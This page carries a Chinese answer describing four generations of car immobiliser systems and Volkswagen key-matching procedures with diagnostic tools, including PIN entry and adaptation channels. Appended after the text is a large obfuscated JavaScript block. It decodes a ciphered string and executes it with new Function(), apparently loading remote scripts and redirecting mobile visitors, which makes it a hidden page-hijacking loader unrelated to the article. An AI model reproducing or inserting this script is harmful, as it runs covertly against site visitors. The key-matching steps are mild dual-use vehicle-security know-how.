推荐回答(2个)
汽车防盗系统的作用是防止汽车在未被授权的情况下,利用汽车自身的动力将车辆盗走,即防止非法起动发动机。车辆防盗系统与发动机禁止起动系统是保证车辆安全的必要系统。随着车辆技术的不断升级,汽车防盗系统的功能也在不断更新,到目前为止,汽车防盗系统已经历了4 个发展阶段,即:固定码传输防盗系统(第一代)、可变码传输防盗系统(第二代)、两级可变码传输防盗系统(第三代)、网络式防盗系统(第四代)。
第一代汽车防盗系统
第一代汽车防盗系统的构成如图1-1 所示。这种防盗系统的主要元件有防盗点火钥匙(内部带有脉冲转发器、辨认线圈)、防盗器控制单元、发动机控制单元。
第一代汽车防盗系统的工作原理是:每个防盗器中的防盗点火钥匙除了拥有一般车钥匙的功能外,还有一个识别码,当钥匙插入点火开关时,钥匙中的脉冲发生器便会产生特有的脉冲信号,信号被辨认线圈感应后,产生该钥匙的识别码并传输到防盗控制单元,若输入的识别码在防盗控制单元中有登记,防盗控制单元便向发动机控制单元解锁,此时扭动钥匙发动机可以起动;若输入的识别码没有在防盗控制单元中登记,防盗控制单元便向发动机控制单元发出不能起动的命令,此时扭动钥匙发动机不能起动。第二代汽车防盗系统
第二代汽车防盗系统的构成如图2 所示。这种防盗系统的防盗控制单元随机产生一个变码,这个码是钥匙和防盗控制单元用于计算的基础。在钥匙和防盗控制单元内,有一套公式列表(密码术公式列表)和一个相同且不可改写的SKC(隐秘的钥匙代码),经钥匙和防盗控制单元分别计算后,钥匙将计算结果发送给防盗控制单元,防盗控制单元将收到的结果与自己的计算结果进行比较,如果相同,则钥匙确认完成,该钥匙合法,允许发动机起动,否则发动机将不能起动。只有使用经过汽车上的防盗控制单元匹配认可的钥匙,发动机才能起动。匹配钥匙时,需要把全部钥匙同时与防盗控制单元匹配。如果需要重新配钥匙或者增配钥匙,也必须匹配全部钥匙。如果用户遗失了一把合法的钥匙,为了安全起见,必须把其它所有合法钥匙重新进行一次匹配,这样就可以使丢失的钥匙变为非法钥匙,不能再用来起动发动机。
第三代汽车防盗系统
第三代汽车防盗系统的主要元件有点火开关上的读写线圈(天线)、点火钥匙(送码器)、组合仪表(内部包含防盗器控制单元)、发动机控制单元、仪表板上的故障警报灯。
1)工作原理
①固定码传输:如图3 a)所示,当点火开关打开后,组合仪表内的防盗控制单元通过改变点火开关读写线圈的磁场能量向送码器传输的数据提出质询,然后点火钥匙发送回来它的固定码(首次匹配时这个固定码储存在防盗止动器中)。点火钥匙传送来的固定码与储存在防盗控制单元中的码在防盗控制单元中进行比较,如果相同,则开始传送可变码。
②可变码传输(防盗ECU→点火钥匙):防盗控制单元随机产生一个变码,这个码是点火钥匙和防盗控制单元用于计算的基础。在点火钥匙和防盗控制单元内有一套公式列表(密码术公式列表)和一个相同且不可改写的SKC(隐秘的钥匙代码)。点火钥匙和防盗控制单元分别进行计算后,点火钥匙将结果发送给防盗控制单元,防盗控制单元将收到的结果与自己的计算结果进行比较,如果相同,钥匙确认完成。③可变码传输(发动机ECU→防盗ECU):如图3 b)所示,当点火钥匙确认完成后,发动机控制单元随机
产生一个变码。在发动机控制单元和确认完成的点火钥匙内有另一套密码术公式列表和一个相同的SKC(公式指示器)。点火钥匙确认完成后发回的计算结果在发动机控制单元内与发动机控制单元的计算结果进行比较(这个数据由CAN 总线进行传递),如果结果相同,发动机被允许起动;如果异常,则发动机不能起动。2)与第二代防盗系统的比较第三代防盗系统与第二代防盗系统相比,其不同点如表1 所示,从表1 我们可得出以下结论:
①第三代防盗系统的发动机控制单元与防盗控制单元中必须有底盘号,而第二代防盗系统则没有。所以,第三代防盗系统的密码是终身制,即一辆车的防盗密码是永久不变的,更换仪表或发动机控制单元后防盗密码也不变,而第二代防盗系统的防盗密码是随防盗控制单元的更换而改变的。
②第三代防盗系统的防盗控制单元与仪表控制单元为一体,共用地址码“17”,而第二代防盗系统的地址码为“25”,仪表控制单元的地址码为“17”。
③第三代防盗系统共对比两组可变码,而第二代防盗系统只对比一组可变码。
④对于第三代防盗系统,当点火钥匙被锁止后,不能再用于其它车辆。
⑤对于第三代防盗系统,发动机控制单元和防盗控制单元同时更换时,必须更换点火钥匙。
⑥第三代防盗系统控制单元可用于第二代防盗系统上,不需要输入底盘号。
⑦第三代防盗系统由W 线或CAN 总线进行数据传送,而第二代防盗系统由W 线进行数据传送。第四代汽车防盗系统第四代汽车防盗系统是最新的防盗系统,以GPS 卫星定位的汽车防盗系统(或其它网络系统)将报警信息和报警车辆所在位置无声地传送到报警中心,具有车辆定位、遥控熄火、网络查询及跟踪、车内监听、路况信息查询、人工导航等多种功能,是全方位的防盗系统。
GPS 卫星定位汽车防盗系统属网络式防盗系统,它主要靠锁定点火或起动达到防盗的目的,同时还可通过GPS 卫星定位系统将报警信息和报警车辆所在的位置无声地传送到报警中心,可以在全国范围内实时监测车辆位置,还可以通过车载移动电话监听车内声音,必要时可以通过手机关闭车辆路、电路并锁死所有门窗。如果GPS防盗器被非法拆卸,它会自己发出报警信息。这种防盗系统的缺点是价格较为昂贵,所以目前应用的为数不多。奥迪A8、A6、A3 轿车及迈腾轿车均安装了第四代防盗器。由于是网络式防盗系统,汽车上使用的第四代防盗器需要在线连接激活。大众公司第四代防盗系统
大众公司的第四代防盗器由舒适系统中央控制单元(J393)、转向柱锁止控制单元(J764)、进入和起动授权开关(E415)、防盗钥匙读写线圈、发动机控制单元(J623)组成,如图4所示。第四代防盗器不是一个单独的控制单元,而是一项功能(防盗控制单元是舒适系统中的一个集成部分),包括位于德国狼堡的FAZIT(车辆信息和核心识别工具) 中央数据库,它存储了与防盗相关的所有控制单元参数,舒适系统中央控制单元(集成了防盗器控制单元)与其它防盗系统部件之间的数据通信经过加密的防盗信息传递。位于狼堡的中央数据库是第四代防盗器的核心部分,集成在防盗功能中的控制单元防盗信息存储在其中,除非在线,否则无法完成防盗器的匹配。防盗器集成在舒适系统中央控制单元中,更换后需要在线匹配调整。转向柱的锁止或解锁,必须得到位于J393 中的防盗器的认可。转向必须与J393 同时更换和匹配调整。进入和起动授权开关中集成了防盗钥匙读写线圈,该件更换后无须调整匹配。发动机控制单元是防盗器的一部分,更换后需要在线匹配调整。更换舒适系统中央控制单元和转向柱锁止控制单元的注意事项:第一,防盗功能集成在舒适系统控制单元中,地址码为“25”,不是“17”;第二,电子转向柱锁止控制单元是通过串行数据总线与舒适系统中央控制单元相连的,只能被舒适系统中央控制单元教授一次防盗确认,所以只有新的电子转向柱锁止控制单元才可以进行匹配,此时舒适系统中央控制单元必须同时更换;第三,舒适系统中央控制单元可以单独更换,但必须是出厂设置好的新件。大众公司第四代防盗系统的工作过程如图5 所示。第四代防盗系统比第三代防盗系统的防盗性能有所增加且卓越稳
定,从其复杂的防盗认证中就可以见证这一点。新增的网络系统可以让车
主在汽车丢失后能了解汽车的动向,提高了汽车丢失后的可寻回性,为汽
柱锁止控制单元车防盗提供了另一个有力的保障。同时,从中也可以看到汽车防盗的新方向———汽车防盗的网络时代来临了。
防盗钥匙的匹配防盗系统的重点是对车钥匙的识别,系统默认只有持有与汽车防盗控制单元匹配的钥匙的人才能起动汽车,所以系统要求车主对车钥匙要妥善保管。如果车钥匙丢失或损坏,要通过复杂的程序重新匹配新的钥匙,或者更换防盗控制单元。1.第一、二、三代防盗钥匙的匹配为了增加防盗密码的安全性,近年来汽车厂家推出每日一变的7 位码,取代了早年的4 位不变码,目前汽车维修站两种密码都可以使用。
1)密码为4 位的防盗钥匙匹配
①通过14 位识别码查取4 位密码。
②连接好V.A.G1552 或V.A.S5051(故障扫描仪),接通点火开关,输入地址码“17”(第二、三代)或“25”(第一代),然后按“Q”键确认。
③屏幕上显示控制单元的版本号后按箭头键,输入“11”,进入联机步骤,并按“Q”键确认。
④ 输入密码“XXXXX”,先按“0”,然后输入4 位数密码,并按“Q”键确认(说明:应正确地输入密码,仅可输入2 次,在点火开关接通的状态下,用“06”结束输出,然后等待35min,才能第3 次输入)。
⑤输入“10”后按“Q”键确认,再输入“21”后按“Q”键确认。
⑥输入要匹配的钥匙数量(最多可以匹配8 把钥匙),如要匹配4 把钥匙,应输入“00004”,然后按“Q”键确认。⑦按箭头键,再输入“06”结束输
出,并按“Q”键确认。
⑧断开点火开关,取出第1 把钥匙,然后插入第2 把钥匙,并接通点火开关至少1s。
⑨断开点火开关,取出第2 把钥匙,如果要匹配的钥匙多于2 把,重复上述步骤(说明:整个过程必须在30s 内完成)。
2)密码为7 位的防盗钥匙匹配
①通过14 位识别码查取7 位密码。
②连接好V.A.S5051,接通点火
开关,输入地址码“17”(第二、三代)或“25”(第一代),然后按“Q”键确认。
③进入特殊功能,释放PIN 码。
④输入7 位密码(说明:应正确地输入密码,仅可输入2 次,在点火开关接通的状态下,用“06”结束输出,然后等待35min,才能第3 次输入)。
⑤起动功能“10-Adaption”,进入通道“21”,并按“Q”键确认。
⑥输入要匹配的钥匙数量(最多可以匹配8 把钥匙),如要匹配4 把钥匙,应输入“00004”,然后按“Q”键确认。
⑦存储改变的数据。
⑧关闭点火开关,然后依次插入要匹配的钥匙,同时注意防盗警报灯的亮/灭提示。
⑨钥匙匹配完成后,应进行故障查询,若没有故障码存在,说明匹配钥匙的工作已成功完成。如果匹配钥匙没有成功,可能的原因有:将已匹配过的钥匙插入了点火开关中;接通点火开关的时间没有超过1s;整个匹配过程超过了30s。
2.第四代防盗钥匙的匹配
①登陆锁止查询;
②防盗器检查;
③从防盗器中读取数据;
④用户身份查询;
⑤在线连接登陆;
⑥进行匹配/学习过程;
⑦确认读写线圈数据;
图5 大众公司第四代防盗系统的工作过程⑧将确认信息回传到数据库。□
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();